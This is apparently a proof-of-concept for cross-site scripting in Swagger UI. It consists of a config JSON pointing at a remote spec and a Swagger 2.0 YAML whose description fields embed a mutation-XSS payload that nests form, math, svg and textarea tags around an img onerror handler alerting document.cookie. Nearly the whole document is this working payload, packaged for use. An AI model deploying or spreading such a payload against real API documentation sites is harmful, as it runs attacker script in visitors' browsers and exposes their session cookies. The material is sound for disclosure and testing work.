XSS in Swagger

xss.json

{
    "url": "https://gist.githubusercontent.com/AaronDewes/c9699fc8341a03d2ff47efae3cfb896d/raw/d27103eeb8fefb0811bcd0ef4c9e7298ad8c357c/xss.yaml",
    "urls": [
        {
            "url": "https://gist.githubusercontent.com/AaronDewes/c9699fc8341a03d2ff47efae3cfb896d/raw/d27103eeb8fefb0811bcd0ef4c9e7298ad8c357c/xss.yaml",
            "name": "XSS"
        }
    ]
}

xss.yaml

swagger: '2.0'
info:
  title: XSS Attack
  description: |
    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
  version: production
basePath: /
produces:
  - application/xml
  - application/json
consumes:
  - application/xml
  - application/json
security:
  - basicAuth: []
paths:
  /M0X0101:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - M0X0101_XSS_D
      operationId: findAccounts
      summary: Finds all accounts
  '/hack/hachid/{id}':
    delete:
      parameters:
        - description: |
            <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
          format: int64
          in: path
          name: id
          required: true
          type: integer
      responses:
        '200':
          description: No response was specified